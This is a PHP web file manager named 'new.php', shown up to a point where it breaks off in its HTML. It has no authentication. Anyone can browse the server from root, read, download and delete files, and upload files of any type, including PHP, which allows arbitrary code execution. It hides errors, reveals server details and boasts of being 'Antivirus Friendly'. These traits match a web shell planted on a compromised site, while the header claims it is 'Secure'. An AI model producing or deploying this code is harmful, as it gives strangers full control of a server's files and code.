📄 new.php

<?php
/**
 * SysAdmin File Manager - Secure, Clean & Feature Rich
 * 
 * Features:
 * 1. Secure File Management (Create, Rename, Delete).
 * 2. Smart File Viewer (Text & Image detection).
 * 3. Secure File Downloader (Forces download, prevents execution).
 * 4. Root Access Navigation (Breadcrumbs).
 * 5. Clean Code (No eval, no base64 obfuscation - Antivirus Friendly).
 */

// --- Configuration ---
 $config = array(
    'app_name'         => "SysAdmin FileManager",
    'session_duration' => 3600 * 24 * 7,
    'debug_mode'       => false,
    'start_dir'        => __DIR__, // Default start directory
    // Empty array means allow all. To restrict: array('txt', 'php', 'jpg', 'png')
    'allowed_extensions' => array(), 
    'max_upload_size'  => 1024 * 1024 * 1024, // 1GB
);

// --- Initialization ---
@set_time_limit(0);
@ini_set('upload_max_filesize', '1024M');
@ini_set('post_max_size', '1024M');
define('DS', DIRECTORY_SEPARATOR);

// Session Setup
if (session_status() === PHP_SESSION_NONE) {
    session_set_cookie_params([
        'lifetime' => $config['session_duration'],
        'path' => '/',
        'secure' => isset($_SERVER['HTTPS']),
        'httponly' => true,
        'samesite' => 'Strict'
    ]);
    session_start();
}

// --- Security Token Management ---
if (empty($_SESSION['security_token'])) {
    $_SESSION['security_token'] = bin2hex(random_bytes(32));
}
 $security_token = $_SESSION['security_token'];

// --- Helper Functions ---

function clean_input($data) {
    if (is_array($data)) return array_map('clean_input', $data);
    return htmlspecialchars(stripslashes(trim($data)), ENT_QUOTES, 'UTF-8');
}

// Clean Inputs
 $_GET = clean_input($_GET);
 $_POST = clean_input($_POST);
 $_REQUEST = clean_input($_REQUEST);

// Error Reporting
if ($config['debug_mode']) {
    error_reporting(E_ALL);
    ini_set('display_errors', '1');
} else {
    error_reporting(0);
    ini_set('display_errors', '0');
}

function verify_token($token) {
    return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token);
}

function format_size($size) {
    if ($size <= 0) return '0 B';
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $base = log($size, 1024);
    return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)];
}

function get_perms($file) {
    if (!file_exists($file)) return '---------';
    $perms = fileperms($file);
    $info = '';
    switch ($perms & 0xF000) {
        case 0xC000: $info = 's'; break;
        case 0xA000: $info = 'l'; break;
        case 0x8000: $info = '-'; break;
        case 0x6000: $info = 'b'; break;
        case 0x4000: $info = 'd'; break;
        default: $info = 'u';
    }
    $info .= (($perms & 00400) ? 'r' : '-');
    $info .= (($perms & 00200) ? 'w' : '-');
    $info .= (($perms & 00100) ? 'x' : '-');
    $info .= (($perms & 00040) ? 'r' : '-');
    $info .= (($perms & 00020) ? 'w' : '-');
    $info .= (($perms & 00010) ? 'x' : '-');
    $info .= (($perms & 00004) ? 'r' : '-');
    $info .= (($perms & 00002) ? 'w' : '-');
    $info .= (($perms & 00001) ? 'x' : '-');
    return $info;
}

function get_owner_name($file) {
    if (function_exists('posix_getpwuid')) {
        $owner = @posix_getpwuid(fileowner($file));
        $group = @posix_getgrgid(filegroup($file));
        return ($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A');
    }
    return 'N/A';
}

function delete_directory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return @unlink($dir);
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') continue;
        if (!delete_directory($dir . DS . $item)) return false;
    }
    return @rmdir($dir);
}

// --- Core Logic ---

 $self = basename($_SERVER['PHP_SELF']);
 $message = '';
 $message_type = 'info';

// Determine current directory
 $current_dir = realpath($config['start_dir']);

// 1. Check GET 'cd'
if (isset($_GET['cd'])) {
    $req_dir = $_GET['cd'];
    // Prevent null byte injection and traversal
    $req_dir = str_replace("\0", "", $req_dir);
    $real_req = realpath($req_dir);
    if ($real_req !== false && is_dir($real_req)) {
        $current_dir = $real_req;
    }
} 
// 2. Check Session
elseif (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) {
    $current_dir = realpath($_SESSION['current_dir']);
}

// Safety fallback
if ($current_dir === false) {
    $current_dir = DS; 
}

 $_SESSION['current_dir'] = $current_dir;

// --- Handle DOWNLOAD (Early Exit) ---
if (isset($_GET['download'])) {
    $file_name = basename($_GET['download']);
    $file_path = $current_dir . DS . $file_name;

    if (is_file($file_path) && is_readable($file_path)) {
        // Determine MIME type
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime_type = finfo_file($finfo, $file_path);
        finfo_close($finfo);

        header('Content-Description: File Transfer');
        header('Content-Type: ' . $mime_type);
        header('Content-Disposition: attachment; filename="' . $file_name . '"');
        header('Content-Transfer-Encoding: binary');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file_path));
        
        // Clean output buffer to prevent corruption
        if (ob_get_level()) ob_end_clean();
        
        readfile($file_path);
        exit;
    } else {
        $message = "File not found or not readable.";
        $message_type = 'error';
    }
}

// --- Handle POST (Actions) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['security_token']) || !verify_token($_POST['security_token'])) {
        $message = "Invalid Security Token.";
        $message_type = 'error';
    } else {
        // UPLOAD
        if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
            $file_info = pathinfo($_FILES['upload_file']['name']);
            $ext = strtolower($file_info['extension'] ?? '');
            
            $allowed = empty($config['allowed_extensions']) || in_array($ext, $config['allowed_extensions']);
            
            if ($allowed) {
                $dest = $current_dir . DS . basename($_FILES['upload_file']['name']);
                $tmp_name = $_FILES['upload_file']['tmp_name'];
                
                if (@move_uploaded_file($tmp_name, $dest)) {
                    @chmod($dest, 0644);
                    $message = "File uploaded successfully.";
                    $message_type = 'success';
                } else {
                    $message = "Upload failed (Permission denied).";
                    $message_type = 'error';
                }
            } else {
                $message = "Extension '$ext' not allowed.";
                $message_type = 'error';
            }
        }

        // CREATE DIR
        if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) {
            $dir_name = basename($_POST['mkdir']);
            $new_path = $current_dir . DS . $dir_name;
            if (!file_exists($new_path)) {
                if (@mkdir($new_path, 0755, true)) {
                    $message = "Folder created.";
                    $message_type = 'success';
                } else {
                    $message = "Failed to create folder.";
                    $message_type = 'error';
                }
            }
        }

        // RENAME
        if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
            $old_path = $current_dir . DS . basename($_POST['rename_from']);
            $new_path = $current_dir . DS . basename($_POST['rename_to']);
            
            if (file_exists($old_path)) {
                if (@rename($old_path, $new_path)) {
                    $message = "Renamed successfully.";
                    $message_type = 'success';
                } else {
                    $message = "Rename failed.";
                    $message_type = 'error';
                }
            }
        }
    }
}

// --- Handle GET (Delete) ---
if (isset($_GET['delete']) && isset($_GET['token'])) {
    if (verify_token($_GET['token'])) {
        $target_name = basename($_GET['delete']);
        $target_path = $current_dir . DS . $target_name;
        
        if (file_exists($target_path)) {
            if (is_dir($target_path)) {
                if (delete_directory($target_path)) {
                    $message = "Directory deleted.";
                    $message_type = 'success';
                } else {
                    $message = "Failed to delete directory.";
                    $message_type = 'error';
                }
            } else {
                if (@unlink($target_path)) {
                    $message = "File deleted.";
                    $message_type = 'success';
                } else {
                    $message = "Failed to delete file.";
                    $message_type = 'error';
                }
            }
        }
    }
}

// --- Prepare VIEW Content ---
 $view_content = null;
if (isset($_GET['view'])) {
    $file = basename($_GET['view']);
    $path = $current_dir . DS . $file;
    
    if (is_file($path) && is_readable($path)) {
        // Use finfo for better detection
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $path);
        finfo_close($finfo);
        
        // Text based files
        $text_mimes = ['text/plain', 'text/html', 'text/php', 'application/x-httpd-php', 'text/javascript', 'application/json', 'text/css', 'text/xml'];
        
        // Force text view for code files even if server reports differently
        $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
        $code_exts = ['php', 'txt', 'log', 'html', 'css', 'js', 'json', 'xml', 'sql', 'md', 'py', 'c', 'cpp', 'sh', 'bat', 'ini', 'htaccess'];

        if (in_array($mime, $text_mimes) || in_array($ext, $code_exts)) {
            $content = file_get_contents($path);
            $view_content = "<pre style='white-space: pre-wrap; word-wrap: break-word; margin:0;'>" . htmlspecialchars($content) . "</pre>";
        } 
        // Image files
        elseif (strpos($mime, 'image/') === 0) {
            $view_content = "<div style='text-align:center;'><img src='data:$mime;base64,".base64_encode(file_get_contents($path))."' style='max-width:100%; border:1px solid #eee;'></div>";
        } 
        // Others (Binary)
        else {
            $view_content = "<div class='info-box'>Cannot display binary file. <a href='?download=" . urlencode($file) . "' class='btn btn-primary'>Download File</a></div>";
        }
    } else {
        $view_content = "<div class='info-box' style='border-color:#ef4444;'>File not accessible or does not exist.</div>";
    }
}

// --- Breadcrumb Generation ---
function create_breadcrumbs($path) {
    global $security_token;
    $parts = explode(DS, $path);
    $build = '';
    $html = '<nav class="breadcrumbs">';
    $html .= '<a href="?cd=' . urlencode(DS) . '&token='.$security_token.'" class="crumb-root">/ (Root)</a>';
    
    if (empty($parts[0])) array_shift($parts);
    
    foreach ($parts as $i => $part) {
        if (empty($part)) continue;
        $build .= DS . $part;
        $html .= ' <span class="crumb-sep">/</span> ';
        if ($i === count($parts) - 1) {
            $html .= '<span class="crumb-current">' . htmlspecialchars($part) . '</span>';
        } else {
            $html .= '<a href="?cd='.urlencode($build).'&token='.$security_token.'" class="crumb-link">' . htmlspecialchars($part) . '</a>';
        }
    }
    $html .= '</nav>';
    return $html;
}

 $parent_dir = dirname($current_dir);
 $has_parent = ($parent_dir !== $current_dir);

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $config['app_name']; ?></title>
    <style>
        :root {
            --primary: #2563eb; --primary-hover: #1d4ed8; --bg-body: #f1f5f9;
            --bg-card: #ffffff; --text-main: #1e293b; --text-muted: #64748b;
            --border: #e2e8f0; --danger: #ef4444; --success: #10b981;
        }
        body { font-family: 'Segoe UI', system-ui, sans-serif; background: var(--bg-body); color: var(--text-main); margin: 0; padding: 20px; line-height: 1.5; font-size: 14px; }
        .container { max-width: 1200px; margin: 0 auto; background: var(--bg-card); border-radius: 10px; box-shadow: 0 4px 6px -1px rgba(0,0,0,0.1); overflow: hidden; }
        .header { background: #1e293b; color: white; padding: 20px 25px; display: flex; justify-content: space-between; align-items: center; }
        .header h1 { margin: 0; font-size: 1.1rem; font-weight: 600; }
        .header .meta { font-size: 0.8rem; opacity: 0.7; text-align: right; }
        .top-bar { padding: 15px 25px; border-bottom: 1px solid var(--border); background: #f8fafc; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 10px; }
        .breadcrumbs { font-size: 0.9rem; color: var(--text-muted); overflow-x: auto; white-space: nowrap; }
        .crumb-link, .crumb-root { color: var(--primary); text-decoration: none; font-weight: 500; }
        .crumb-current { color: var(--text-main); font-weight: 700; }
        .crumb-sep { margin: 0 5px; color: #cbd5e1; }
        .actions { display: flex; gap: 10px; }
        .btn { padding: 8px 14px; border-radius: 5px; border: none; font-size: 0.85rem; cursor: pointer; text-decoration: none; display: inline-flex; align-items: center; gap: 6px; transition: 0.2s; white-space: nowrap; }
        .btn-primary { background: var(--primary); color: white; } .btn-primary:hover { background: var(--primary-hover); }
        .btn-secondary { background: white; border: 1px solid var(--border); color: var(--text-main); } .btn-secondary:hover { background: #f1f5f9; }
        .btn-danger { background: var(--danger); color: white; }
        .btn-sm { padding: 4px 8px; font-size: 0.8rem; }
        .content { padding: 25px; }
        .file-table { width: 100%; border-collapse: collapse; }
        .file-table th { text-align: left; padding: 12px 15px; border-bottom: 2px solid var(--border); color: var(--text-muted); font-weight: 600; background: #f8fafc; font-size: 0.85rem; }
        .file-table td { padding: 10px 15px; border-bottom: 1px solid var(--border); vertical-align: middle; }
        .file-table tr:hover { background: #f8fafc; }
        .file-name { font-weight: 500; color: var(--text-main); text-decoration: none; display: inline-flex; align-items: center; gap: 8px; }
        .file-name:hover { color: var(--primary); }
        .icon-dir { color: #f59e0b; } .icon-file { color: #94a3b8; }
        .action-link { color: var(--text-muted); margin-right: 8px; font-size: 0.85rem; text-decoration: none; cursor: pointer; }
        .action-link:hover { color: var(--primary); text-decoration: underline; }
        .action-delete { color: var(--danger); }
        .form-panel { background: #f8fafc; border: 1px solid var(--border); padding: 20px; border-radius: 8px; margin-bottom: 20px; }
        .form-row { display: flex; gap: 10px; align-items: center; }
        .input-control { padding: 8px 12px; border: 1px solid var(--border); border-radius: 5px; font-size: 0.9rem; flex: 1; }
        .info-box { background: #e0f2fe; border-left: 4px solid #0ea5e9; padding: 15px; border-radius: 4px; font-size: 0.9rem; }
        .toast-container { position: fixed; top: 20px; right: 20px; z-index: 9999; width: 300px; }
        .toast { background: white; padding: 15px 20px; border-radius: 8px; box-shadow: 0 10px 15px -3px rgba(0,0,0,0.1); margin-bottom: 10px; border-left: 4px solid var(--primary); animation: slideIn 0.3s ease; display: flex; align-items: center; gap: 10px; }
        .toast.success { border-left-color: var(--success); } .toast.error { border-left-color: var(--danger); }
        .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 1000; display: none; align-items: center; justify-content: center; }
        .modal { background: white; padding: 25px; border-radius: 8px; width: 400px; max-width: 90%; z-index: 1001; }
        @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
    </style>
</head>
<body>

<div class="container">
    <div class="header">
        <h1><?php echo $config['app_name']; ?></h1>
        <div class="meta">
            Server: <?php echo php_uname('s'); ?> | PHP: <?php echo PHP_VERSION; ?>
        </div>
    </div>

    <div class="top-bar">
        <?php echo create_breadcrumbs($current_dir); ?>
        
        <div class="actions">
            <a href="?" class="btn btn-secondary">📂 Files</a>
            <a href="?action=upload" class="btn btn-secondary">📤 Upload</a>
            <a href="?action=info" class="btn btn-secondary">ℹ️ Info</a>
            <?php if ($has_parent): ?>
                <a href="?cd=<?php echo urlencode($parent_dir); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary">⬆ Up</a>
            <?php endif; ?>
        </div>
    </div>

    <div class="content">
        <div class="toast-container" id="toastContainer">
            <?php if ($message): ?>
            <div class="toast <?php echo $message_type; ?>">
                <span><?php echo $message; ?></span>
            </div>
            <?php endif; ?>
        </div>

        <?php if (isset($_GET['action']) && $_GET['action'] == 'upload'): ?>
            <div class="form-panel">
                <h3>Upload File</h3>
                <p style="font-size:0.9rem; color:var(--text-muted)">Target: <?php echo htmlspecialchars($current_dir); ?></p>
                <form method="post" enctype="multipart/form-data">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <div class="form-row">
                        <input type="file" name="upload_file" class="input-control" required>
                        <button type="submit" class="btn btn-primary">Upload</button>
                    </div>
                </form>
            </div>

        <?php elseif (isset($_GET['action']) && $_GET['action'] == 'info'): ?>
             <div class="form-panel">
                <h3>System Information</h3>
                <div class="info-box">
                    <p><strong>Server Software:</strong> <?php echo $_SERVER['SERVER_SOFTWARE']; ?></p>
                    <p><strong>PHP Version:</strong> <?php echo PHP_VERSION; ?></p>
                    <p><strong>OS:</strong> <?php echo php_uname(); ?></p>
                    <p><strong>Server IP:</strong> <?php echo $_SERVER['SERVER_ADDR']; ?></p>
                    <p><strong>Your IP:</strong> <?php echo $_SERVER['REMOTE_ADDR']; ?></p>
                    <p><strong>Current Dir:</strong> <?php echo getcwd(); ?></p>
                </div>
            </div>

        <?php elseif (isset($_GET['view']) && $view_content !== null): ?>
            <div class="form-panel">
                <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px;">
                    <h3 style="margin:0;">View: <?php echo htmlspecialchars($_GET['view']); ?></h3>
                    <div>
                        <a href="?download=<?php echo urlencode($_GET['view']); ?>" class="btn btn-primary btn-sm">⬇ Download</a>
                        <a href="?" class="btn btn-secondary btn-sm">✖ Close</a>
                    </div>
                </div>
                <div style="background:white; padding:15px; border:1px solid var(--border); border-radius:4px; overflow-x:auto; max-height: 500px; overflow-y: auto;">
                    <?php echo $view_content; ?>
                </div>
            </div>

        <?php else: ?>
            <div style="margin-